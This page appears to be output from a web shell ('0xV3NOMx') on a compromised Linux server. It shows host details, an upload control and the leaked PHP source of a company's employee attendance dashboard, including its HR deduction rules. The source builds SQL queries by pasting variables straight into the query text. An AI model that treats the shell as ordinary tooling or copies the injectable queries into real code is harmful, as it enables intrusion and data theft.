0xV3NOMx
Linux ip-172-26-7-228 5.4.0-1103-aws #111~18.04.1-Ubuntu SMP Tue May 23 20:04:10 UTC 2023 x86_64



Your IP : 18.220.227.250


Current Path : /var/www/html/oums/src/
Upload File :
Current File : /var/www/html/oums/src/home_attendance.php

<?php
include("sys_connect.php");
include("sys_mainphp.php");
include("sys_session.php");
?>

<div style="margin-bottom: 5px;" class="head_blue">Attendance</div>
<ul class="nav nav-tabs">
    <li class="active"><a data-toggle="tab" href="#empl_attn_this_month">My Attendance</a></li>
    <li><a data-toggle="tab" href="#empl_attn_prev_month">My Attendance [Prev. Month]</a></li>
    <li><a data-toggle="tab" href="#clnt_attn_today">Client Attendance [<?php echo date("d/m/Y"); ?>]</a></li>
    <li><a data-toggle="tab" href="#empl_abcl_this_month">Absent / Leaves [<?php echo date("M Y"); ?>]</a></li>
    <li><a data-toggle="tab" href="#empl_attn_summary">Employee Summary</a></li>
    <li><a data-toggle="tab" href="#empl_attn_guidelines">Guidelines</a></li>
</ul>

<div class="tab-content" id="home-content-note">
    <div id="empl_attn_this_month" class="tab-pane fade in active">
        <?php
        $myqry = "";
        if ($type_id == 'ADMIN') {
            $myqry = " ";
        } else {
            $myqry = " and ad.femplcode='$empl_id' ";
        }
        $mysql = "select em.femplcode,em.femplname,dp1.fdeptcode,dp1.fdeptshrt,date_format(ad.fattndate,'%d/%m/%Y') as lattndate,
        ad.fattnstat,st.fstatdesc,(case when a2.ftype='I' then 'Check In' else if(a2.ftype='O','Check Out','-') end) as fentrtype,
        concat('[',a2.fdeptcode,'] ',dp3.fdeptname) as fentrdept,ad.fattnremk,ad.fexcpremk,if(fexcpperm='T','Permitted','') as lexcpremk,
        (case when weekday(ad.fattndate)<>5 then dp2.flogitime else dp2.fsatdlogi end) as fclntlogi,
        (case when weekday(ad.fattndate)<>5 then dp2.flogotime else dp2.fsatdlogo end) as fclntlogo,
        ifnull(a2.flogitime,'00:00:00') as fentrtime,
        (case when a2.ftype='I' then (case when weekday(ad.fattndate)<>5 then dp2.flogitime else dp2.fsatdlogi end) else (case when weekday(ad.fattndate)<>5 then dp2.flogotime else dp2.fsatdlogo end)end) as fclnttime
        from masempl em 
        inner join attendance ad on em.femplcode = ad.femplcode
        inner join masdept dp1 on em.fdeptcode = dp1.fdeptcode 
        inner join masdept dp2 on ad.fattndept = dp2.fdeptcode 
        left join attenddet a2 on ad.femplcode = a2.femplcode and ad.fattndate = a2.fattndate
        left join masattn_stat st on ad.fattnstat = st.fattnstat
        left join masdept dp3 on a2.fdeptcode = dp3.fdeptcode
        where date_format(ad.fattndate,'%Y-%m')=date_format(current_date,'%Y-%m') and femplstat='T' and fattnentr='T' 
        and em.fdeptcode not in ('DEP','IHF')  ". $myqry ."
        order by ad.fattndate desc,ad.fattndept,femplcode,a2.flogitime;";
        $myres = mysqli_query($mycon, $mysql);
        if (mysqli_num_rows($myres) != 0) {
            echo "<table class='table table-condensed table-hover'>";
            echo "<tr>";
            echo "<th class='text-center'>#</th>";
            echo "<th class='text-left col-sm-1'>Date</th>";
            echo "<th class='text-left col-sm-2'>Name</th>";
            echo "<th class='text-left col-sm-2'>Status</th>";
            echo "<th class='text-left col-sm-1'>Activity</th>";
            echo "<th class='text-left col-sm-3'>Location</th>";
            echo "<th class='text-left col-sm-2'>Time [Actual]</th>";
            echo "<th class='text-left col-sm-3'>Remarks</th>";
            echo "</tr>";
            $i = 1;
            $arry_red = array("AB", "PH", "");
            $arry_blu = array("CL", "CH", "");
            $arry_grn = array("HD", "WO");
            $stat_color = "";
            while ($myrow = mysqli_fetch_assoc($myres)) {
                if (in_array($myrow['fattnstat'], $arry_red)) {
                    $stat_color = "text-danger fw-bold";
                } elseif (in_array($myrow['fattnstat'], $arry_blu)) {
                    $stat_color = "text-primary";
                } elseif (in_array($myrow['fattnstat'], $arry_grn)) {
                    $stat_color = "text-success fw-bold";
                } else {
                    $stat_color = "";
                }
                echo "<tr>";
                echo "<td class='text-center $stat_color'> $i.</td>";
                echo "<td class='text-left $stat_color'>  $myrow[lattndate]</td>";
                echo "<td class='text-left $stat_color'>  [$myrow[femplcode]] $myrow[femplname] </td>";
                echo "<td class='text-left $stat_color'>  [$myrow[fattnstat]] $myrow[fstatdesc]</td>";
                echo "<td class='text-left $stat_color'>  $myrow[fentrtype]</td>";
                echo "<td class='text-left $stat_color'>  $myrow[fentrdept]</td>";
                echo "<td class='text-left $stat_color'>  $myrow[fentrtime] [$myrow[fclnttime]]</td>";
                echo "<td class='text-left $stat_color'>  $myrow[fattnremk] $myrow[lexcpremk]</td>";
                echo "</tr>";
                $i++;
            }
            echo "</table>";
        } else {
            echo "<div class='alert alert-info'>No details found!</div>";
        }
        ?>
    </div>

    <div id="empl_attn_prev_month" class="tab-pane fade">
        <?php
        $myqry = "";
        if ($type_id == 'ADMIN') {
            $myqry = " ";
        } else {
            $myqry = " and ad.femplcode='$empl_id' ";
        }
        $mysql = "select em.femplcode,em.femplname,dp1.fdeptcode,dp1.fdeptshrt,date_format(ad.fattndate,'%d/%m/%Y') as lattndate,ad.fattnstat,
        (case when weekday(ad.fattndate)<>5 then dp2.flogitime else dp2.fsatdlogi end) as dlogitime,ad.flogitime,
        (case when weekday(ad.fattndate)<>5 then dp2.flogotime else dp2.fsatdlogo end) as dlogotime,ad.flogotime,
        if(fattnremk='', 
        concat(
        (case when ad.fattnstat = 'AB' then 'Absent' else '' end),
        (case when ad.fattnstat = 'CL' then 'Casual Leave' else '' end),
        (case when ad.fattnstat = 'CH' then 'Comp. Holiday' else '' end),
        (case when ad.fattnstat = 'WO' then 'Weekly Off' else '' end),
        (case when ad.fattnstat = 'HD' then 'Holiday' else '' end),
        (case when ad.fattnstat in ('PR','PH','HW') and timediff(ad.flogitime,dp2.fsatdlogi)>'00:10:00' and ad.flogitime<>'00:00:00' then concat('Check In delay by ',time_format(abs(timediff(dp2.fsatdlogi,ad.flogitime)),'%H:%i:%s'),' ') else '' end),
        (case when ad.fattnstat in ('PR','PH','HW') and timediff(dp2.fsatdlogo,ad.flogotime)>'00:10:00' and ad.flogotime<>'00:00:00' then concat('Check Out early by ',time_format(abs(timediff(dp2.fsatdlogo,ad.flogotime)),'%H:%i:%s'),' ') else (case when ad.fattnstat in ('PR','PH','HW') and ifnull(ad.flogotime,'00:00:00')='00:00:00' then 'Check Out Pending' else '' end) end)
        ), fattnremk) as lattnremk
        from masempl em
        inner join attendance ad on em.femplcode = ad.femplcode  
        inner join masdept dp1 on em.fdeptcode = dp1.fdeptcode
        inner join masdept dp2 on ad.fattndept = dp2.fdeptcode
        where date_format(fattndate,'%Y-%m')=date_format(current_date - interval 1 month,'%Y-%m') 
        and femplstat='T' and fattnentr='T' and em.fdeptcode not in ('DEP','IHF')  ". $myqry ."
        order by ad.fattndate,femplcode;";
        $myres = mysqli_query($mycon, $mysql);
        if (mysqli_num_rows($myres) != 0) {
            echo "<table class='table table-condensed table-hover'>";
            echo "<tr>";
            echo "<th class='text-center'>#</th>";
            echo "<th class='text-left col-sm-1'>Date</th>";
            echo "<th class='text-left col-sm-3'>Empl. Name</th>";
            echo "<th class='text-left col-sm-1'>Status</th>";
            echo "<th class='text-left col-sm-2'>Login Time</th>";
            echo "<th class='text-left col-sm-2'>Logout Time</th>";
            echo "<th class='text-left col-sm-3'>Remarks</th>";
            echo "</tr>";
            $i = 1;
            $stat_color = "";
            while ($myrow = mysqli_fetch_assoc($myres)) {
                if (in_array($myrow['fattnstat'], array("AB", "", ""))) {
                    $stat_color = "bg-danger";
                } elseif (in_array($myrow['fattnstat'], array("PH", "", ""))) {
                    $stat_color = "bg-warning";
                } elseif (in_array($myrow['fattnstat'], array("CL", "", ""))) {
                    $stat_color = "bg-info";
                } elseif (in_array($myrow['fattnstat'], array("CH", "", ""))) {
                    $stat_color = "bg-info";
                } elseif (in_array($myrow['fattnstat'], array("HD", "", ""))) {
                    $stat_color = "bg-secondary";
                } elseif (in_array($myrow['fattnstat'], array("WO", "", ""))) {
                    $stat_color = "bg-success";
                } else{
                    $stat_color = "";
                }
                echo "<tr>";
                echo "<td class='text-center $stat_color'> $i.</td>";
                echo "<td class='text-left $stat_color'>  $myrow[lattndate]</td>";
                echo "<td class='text-left $stat_color'>  $myrow[femplcode] - $myrow[femplname]</td>";
                echo "<td class='text-left $stat_color'>  $myrow[fattnstat]</td>";
                echo "<td class='text-left $stat_color'>  $myrow[flogitime] / $myrow[dlogitime]</td>";
                echo "<td class='text-left $stat_color'>  $myrow[flogotime] / $myrow[dlogotime]</td>";
                echo "<td class='text-left $stat_color'>  $myrow[lattnremk]</td>";
                echo "</tr>";
                $i++;
            }
            echo "</table>";
        } else {
            echo "<div class='alert alert-info'>No details found!</div>";
        }
        ?>
    </div>

    <div id="clnt_attn_today" class="tab-pane fade">
        <?php
        // Client attendance summary current date
        if ($type_id == "ADMIN") {
            $myqry = "";
        }elseif ($type_id == "CHIEF") {
            $myqry = " and em.fdeptcode = '$dept_id' ";
        }else{
            $myqry = " and em.femplcode = '$empl_id' ";
        }
        $mysql = "select em.fdeptcode,dp.fdeptname,dp.fdeptshrt,
        count(*) as ltotalem,
        sum(case when ap.fattntype in ('pr','ph','hw') then 1 else 0 end) as ltotalpr,
        sum(case when ap.fattntype='ab' then 1 else 0 end) as ltotalab,
        sum(case when ap.fattntype in ('cl','ch') then 1 else 0 end) as ltotalcl, 
        sum(case when ap.fattntype='hd' then 1 else 0 end) as ltotalhd,
        sum(case when ad.femplcode is null then 1 else 0 end) as ltotalpd 
        from masempl em
        left join masdept dp on em.fdeptcode = dp.fdeptcode and fdeptstat='T' and fattnenbl='T'
        left join attendance ad on em.fdeptcode = ad.fdeptcode and em.femplcode = ad.femplcode and ad.fattndate = current_date
        left join masattn_stat ap on ad.fdeptcode = ap.fdeptcode and ad.fattnstat = ap.fattnstat
        
        where em.femplstat='T' and em.fattnentr='T' and em.fdeptcode not in ('DEP','IHF') ". $myqry ."
        group by em.fdeptcode order by dp.fdeptname;";
        
        $myres = mysqli_query($mycon, $mysql);
        if (mysqli_num_rows($myres) != 0) {
            echo "<table class='table table-striped table-condensed table-hover'>";
            echo "<tr>";
            echo "<th class='text-center'>#</th>";
            echo "<th class='text-left  col-sm-1'>Client</th>";
            echo "<th class='text-left  col-sm-5'>Client Name</th>";
            echo "<th class='text-center col-sm-1'>Total</th>";
            echo "<th class='text-center col-sm-1'>Present</th>";
            echo "<th class='text-center col-sm-1'>Absent</th>";
            echo "<th class='text-center col-sm-1'>Leave</th>";
            echo "<th class='text-center col-sm-1'>Holiday</th>";
            echo "<th class='text-center col-sm-1'>Pending</th>";
            echo "</tr>";
            $i = 1;
            while ($myrow = mysqli_fetch_assoc($myres)) {
                echo "<tr>";
                echo "<td class='text-center'> $i.</td>";
                echo "<td class='text-left'>  [$myrow[fdeptcode]] $myrow[fdeptshrt]</td>";
                echo "<td class='text-left'>  $myrow[fdeptname]</td>";
                echo "<td class='text-center'> $myrow[ltotalem]</td>";
                echo "<td class='text-center'> $myrow[ltotalpr]</td>";
                echo "<td class='text-center'> $myrow[ltotalab]</td>";
                echo "<td class='text-center'> $myrow[ltotalcl]</td>";
                echo "<td class='text-center'> $myrow[ltotalhd]</td>";
                echo "<td class='text-center'> $myrow[ltotalpd]</td>";
                echo "</tr>";
                $i++;
            }
            echo "</table>";
        } else {
            echo "<div class='alert alert-info'>Client Summary not found for today!</div>";
        }

        // Client ab / cl / ch current date
        if ($type_id == "ADMIN") {
            $myqry = "";
        }elseif ($type_id == "CHIEF") {
            $myqry = " inner join masdept_user du on ad.fdeptcode = du.fdeptcode and du.fusercode = '$user_id' ";
        }else{
            $myqry = " ad.femplcode = '$empl_id' ";
        }
        $mysql = "select ad.fattndate,dp.fdeptcode,dp.fdeptname,ad.femplcode,em.femplname,ap.fstatdesc
        from attendance ad
        inner join masempl em on ad.femplcode = em.femplcode 
        inner join masdept dp on ad.fdeptcode = dp.fdeptcode 
        inner join masattn_stat ap on ad.fattnstat = ap.fattnstat and ad.fdeptcode = ap.fdeptcode
        " . $myqry . "
        where ad.fattnstat in ('AB','CL','CH') and ad.fattndate = current_date
        order by fdeptname,femplname";

        $myres = mysqli_query($mycon, $mysql);
        if (mysqli_num_rows($myres) != 0) {
            echo "<table class='table table-striped table-condensed table-hover'>";
            echo "<tr>";
            echo "<th class='text-center'>#</th>";
            echo "<th class='text-left col-sm-6'>Client</th>";
            echo "<th class='text-left col-sm-4'>Empl. Name</th>";
            echo "<th class='text-left col-sm-2'>Remarks</th>";
            echo "</tr>";
            $i = 1;
            while ($myrow = mysqli_fetch_assoc($myres)) {
                echo "<tr>";
                echo "<td class='text-center'> $i.</td>";
                echo "<td class='text-left'> [$myrow[fdeptcode]] $myrow[fdeptname]</td>";
                echo "<td class='text-left'> [$myrow[femplcode]] $myrow[femplname]</td>";
                echo "<td class='text-left'> $myrow[fstatdesc]</td>";
                echo "</tr>";
                $i++;
            }
            echo "</table>";
        } else {
            echo "<div class='alert alert-info'>Absent / Leave information not found for today!</div>";
        }
        
        // Client attendance list current date
        if ($type_id == "ADMIN") {
            $myqry = "";
        }elseif ($type_id == "CHIEF") {
            $myqry = " inner join masdept_user du on em.fdeptcode = du.fdeptcode and du.fusercode = '$user_id' ";
        }else{
            $myqry = " ad.femplcode = '$empl_id' ";
        }
        $mysql = "select dp.fdeptcode,dp.fdeptshrt,dp.fdeptname,em.femplcode,em.femplname,ad.fattnstat,ad.flogitime,ad.flogotime,
        if(fattnremk='', 
        concat(
        (case when ifnull(ad.fattnstat,'') = '' then 'Pending' else '' end),    
        (case when ad.fattnstat = 'AB' then 'Absent' else '' end),
        (case when ad.fattnstat = 'CL' then 'Casual Leave' else '' end),
        (case when ad.fattnstat = 'CH' then 'Comp. Holiday' else '' end),
        (case when ad.fattnstat = 'WO' then 'Weekly Off' else '' end),
        (case when ad.fattnstat = 'HD' then 'Holiday' else '' end),
        (case when ad.fattnstat in ('PR','PH','HW') and timediff(ad.flogitime,dp2.fsatdlogi)>'00:10:00' and ad.flogitime<>'00:00:00' then concat('Check In delay by ',time_format(abs(timediff(dp2.fsatdlogi,ad.flogitime)),'%H:%i:%s'),' ') else '' end),
        (case when ad.fattnstat in ('PR','PH','HW') and timediff(dp2.fsatdlogo,ad.flogotime)>'00:10:00' and ad.flogotime<>'00:00:00' then concat('Check Out early by ',time_format(abs(timediff(dp2.fsatdlogo,ad.flogotime)),'%H:%i:%s'),' ') else (case when ad.fattnstat in ('PR','PH','HW') and ifnull(ad.flogotime,'00:00:00')='00:00:00' then 'Check Out Pending' else '' end) end)
        ), fattnremk) as lattnremk
        from masempl em
        left join attendance ad on em.femplcode = ad.femplcode and ad.fattndate = current_date " . $myqry . "
        left join masdept dp on em.fdeptcode = dp.fdeptcode and dp.fattnenbl='T'
        left join masdept dp2 on ad.fattndept = dp2.fdeptcode
        where femplstat='T' and fattnentr='T' and em.fdeptcode not in ('DEP','IHF')
        order by fattnstat,fdeptname,femplname;";
        $myres = mysqli_query($mycon, $mysql);
        if (mysqli_num_rows($myres) != 0) {
            echo "<table class='table table-striped table-condensed table-hover'>";
            echo "<tr>";
            echo "<th class='text-center'>#</th>";
            echo "<th class='text-left col-sm-1'>Client</th>";
            echo "<th class='text-left col-sm-4'>Empl. Name</th>";
            echo "<th class='text-left col-sm-1'>Status</th>";
            echo "<th class='text-left col-sm-1'>Login Time</th>";
            echo "<th class='text-left col-sm-1'>Logout Time</th>";
            echo "<th class='text-left col-sm-4'>Remarks</th>";
            echo "</tr>";
            $i = 1;
            $arry_red = array("AB", "", "");
            $arry_blu = array("CL", "CH", "");
            $arry_grn = array("HD", "WO");
            $stat_color = "";
            while ($myrow = mysqli_fetch_assoc($myres)) {
                if (in_array($myrow['fattnstat'], $arry_red)) {
                    $stat_color = "text-danger";
                } elseif (in_array($myrow['fattnstat'], $arry_blu)) {
                    $stat_color = "text-primary";
                } elseif (in_array($myrow['fattnstat'], $arry_grn)) {
                    $stat_color = "text-success";
                } else {
                    $stat_color = "";
                }
                echo "<tr>";
                echo "<td class='text-center $stat_color'> $i.</td>";
                echo "<td class='text-left $stat_color'>  [$myrow[fdeptcode]] $myrow[fdeptshrt]</td>";
                echo "<td class='text-left $stat_color'>  [$myrow[femplcode]] $myrow[femplname]</td>";
                echo "<td class='text-left $stat_color'>  $myrow[fattnstat]</td>";
                echo "<td class='text-left $stat_color'>  $myrow[flogitime]</td>";
                echo "<td class='text-left $stat_color'>  $myrow[flogotime]</td>";
                echo "<td class='text-left $stat_color'>  $myrow[lattnremk]</td>";
                echo "</tr>";
                $i++;
            }
            echo "</table>";
        } else {
            echo "<div class='alert alert-info'>Attendance information not found for today!</div>";
        }
        ?>
    </div>


    <!-- This month AB / CL List -->
    <div id="empl_abcl_this_month" class="tab-pane fade">
        <?php
        if ($type_id == "ADMIN") {
            $myqry = "";
        }elseif ($type_id == "CHIEF") {
            $myqry = " inner join masdept_user du on ad.fdeptcode = du.fdeptcode and du.fusercode = '$user_id' ";
        }else{
            $myqry = " ad.femplcode = '$empl_id' ";
        }
        $mysql = "select date_format(ad.fattndate,'%d/%m/%Y') as lattndate,dp.fdeptcode,dp.fdeptname,ad.femplcode,femplname,ad.fattnstat
        from attendance ad
        inner join masempl em on ad.femplcode = em.femplcode 
        inner join masdept dp on ad.fdeptcode = dp.fdeptcode 
        inner join masattn_stat ap on ad.fattnstat = ap.fattnstat and ad.fdeptcode = ap.fdeptcode
        ". $myqry ."  
        where ad.fattnstat in ('AB','CL','CH','PH') and date_format(ad.fattndate,'%m-%Y') = date_format(current_date,'%m-%Y')
        order by fdeptname,femplname,lattndate";
        $myres = mysqli_query($mycon, $mysql);
        if (mysqli_num_rows($myres) != 0) {
            echo "<table class='table table-striped table-condensed table-hover'>";
            echo "<tr>";
            echo "<th class='text-center'>#</th>";
            echo "<th class='text-left col-sm-4'>Client</th>";
            echo "<th class='text-left col-sm-4'>Empl. Name</th>";
            echo "<th class='text-left col-sm-2'>Date</th>";
            echo "<th class='text-left col-sm-2'>Remarks</th>";
            echo "</tr>";
            $i = 1;
            while ($myrow = mysqli_fetch_assoc($myres)) {
                echo "<tr>";
                echo "<td class='text-center'> $i.</td>";
                echo "<td class='text-left'>  [$myrow[fdeptcode]] $myrow[fdeptname]</td>";
                echo "<td class='text-left'> [$myrow[femplcode]] $myrow[femplname]</td>";
                echo "<td class='text-left'>  $myrow[lattndate]</td>";
                echo "<td class='text-left'>  $myrow[fattnstat]</td>";
                echo "</tr>";
                $i++;
            }
            echo "</table>";
        } else {
            echo "<div class='alert alert-info'>No AB / CL status found this month!</div>";
        }
        ?>
    </div>

    <div id="empl_attn_summary" class="tab-pane fade">
        <?php
        if ($type_id == 'ADMIN') {
            $myqry = " ";
        } elseif ($type_id == 'CHIEF') {
            $myqry = " and em.fdeptcode = '$dept_id' ";
        } else {
            $myqry = " and em.femplcode = '$empl_id' ";
        }
        $mysql = "select dp.fdeptcode,dp.fdeptshrt,dp.fdeptname,em.femplcode,em.femplname,date_format(em.fjoindate,'%d/%m/%Y') as ljoindate,
        sum(case when fattnstat='PR' then 1 else 0 end) as ltotalpr,
        sum(case when fattnstat='PH' then 1 else 0 end) as ltotalph,

        period_diff(date_format(now(), '%Y%m'), date_format(if('2022-04-30'>fjoindate,'2022-04-30',fjoindate), '%Y%m')) as ltotalcl,
        
        sum(case when fattnstat='CL' and fattndate>'2022-04-30' then 1 else 0 end) as lclaimcl,
        
        period_diff(date_format(now(), '%Y%m'), date_format(if('2022-04-30'>fjoindate,'2022-04-30',fjoindate), '%Y%m')) - 
        sum(case when fattnstat='CL' and fattndate>'2022-04-30' then 1 else 0 end) as lavailcl,

        sum(case when fattnstat='HW' and fattndate>'2021-12-31' then 1 else 0 end) as ltotalhw,
        sum(case when fattnstat='CH' and fattndate>'2021-12-31' then 1 else 0 end) as ltotalch,
        sum(case when fattnstat='HW' and fattndate>'2021-12-31' and fattndate < date_format(current_date,'%Y-%m-%d') then 1 else 0 end) - sum(case when fattnstat='CH' and fattndate>'2021-12-31' then 1 else 0 end) as lavailch,

        sum(case when fattnstat='AB' then 1 else 0 end) as ltotalab,
        sum(case when fattnstat='HD' then 1 else 0 end) as ltotalhd,
        sum(case when fattnstat='WO' then 1 else 0 end) as ltotalwo

        from masempl em
        inner join masdept dp on em.fdeptcode = dp.fdeptcode and dp.fattnenbl='T'
        inner join attendance ad on em.femplcode = ad.femplcode 
        where em.fdeptcode not in ('dep','ihf') and femplstat='T' and fattnentr='T' and fempltype='P' and ifnull(em.fupdtabcl,'f')='F' " . $myqry . "
        group by em.femplcode
        order by dp.fdepttype desc,em.fdeptcode,em.fjoindate,em.femplname;";
        $myres = mysqli_query($mycon, $mysql);
        if (mysqli_num_rows($myres) != 0) {
            echo "<table class='table table-bordered table-condensed table-striped table-hover'>";
            echo "<tr>";
                echo "<th class='text-center' rowspan='2'>#</th>";
                echo "<th class='text-center col-sm-1' rowspan='2'>Client</th>";
                echo "<th class='text-center col-sm-2' rowspan='2'>Empl. Name</th>";
                echo "<th class='text-center col-sm-1' rowspan='2'>Join Date</th>";
                
                echo "<th class='text-center col-sm-1' rowspan='2'>Present <br> (Half Day)</th>";
                echo "<th class='text-center col-sm-1' rowspan='2'>Absent</th>";

                echo "<th class='text-center col-sm-1' colspan='3'>Casual Leave</th>";

                echo "<th class='text-center col-sm-1' colspan='3'>Comp. Holiday</th>";
            echo "</tr>";

            echo "<tr>";
                echo "<th class='text-center col-sm-1'>Total</th>";
                echo "<th class='text-center col-sm-1'>Used</th>";
                echo "<th class='text-center col-sm-1'>Avl.</th>";

                echo "<th class='text-center col-sm-1'>Total</th>";
                echo "<th class='text-center col-sm-1'>Used</th>";
                echo "<th class='text-center col-sm-1'>Avl.</th>";

            echo "</tr>";
            $i = 1;
            while ($myrow = mysqli_fetch_assoc($myres)) {
                echo "<tr>";
                echo "<td class='text-center'> $i</td>";
                echo "<td class='text-center'>  $myrow[fdeptcode] - $myrow[fdeptshrt]</td>";
                echo "<td class='text-left'>  $myrow[femplcode] - $myrow[femplname]</td>";
                echo "<td class='text-center'>  $myrow[ljoindate]</td>";

                echo "<td class='text-center'>  $myrow[ltotalph]</td>";
                echo "<td class='text-center'>  $myrow[ltotalab]</td>";

                echo "<td class='text-center'>  $myrow[ltotalcl]</td>";
                echo "<td class='text-center'>  $myrow[lclaimcl]</td>";
                echo "<td class='text-center'>  $myrow[lavailcl]</td>";
                
                echo "<td class='text-center'>  $myrow[ltotalhw]</td>";
                echo "<td class='text-center'>  $myrow[ltotalch]</td>";
                echo "<td class='text-center'>  $myrow[lavailch]</td>";                
                echo "</tr>";
                $i++;
            }
            echo "</table>";
        } else {
            echo "<div class='alert alert-info'>Employee attendance summary not found!</div>";
        }
        ?>
    </div>

    <div id="empl_attn_guidelines" class="tab-pane fade" style="text-align: justify;">
        Attendance Guidelines</br>
        <ul>
            <li>01. If an employee takes leave or absent for more than three days in a month, then for every four days, one sunday will be treated as absent.</li>
            <ul>
                <li>4 to 7 days - 1 sunday absent</li>
                <li>8 to 11 days - 2 sunday absent</li>
                <li>12 to 15 days - 3 sunday absent</li>
                <li>16 to 19 days - 4 sunday absent</li>
                <li>20 and above - 5 sunday</li>
            </ul>
            <li>02. If an employee takes leave or remain absent before and after a holiday, then that holiday will also be treated as absent / leave (based on leave availability)</li>
            <li>03. Half day salary shall be deducted for each day check in delay / check out early / check out skip.</li>
            <li>04. Sunday working shall be compensated with upcoming leave.</li>
        </ul>
    </div>
</div>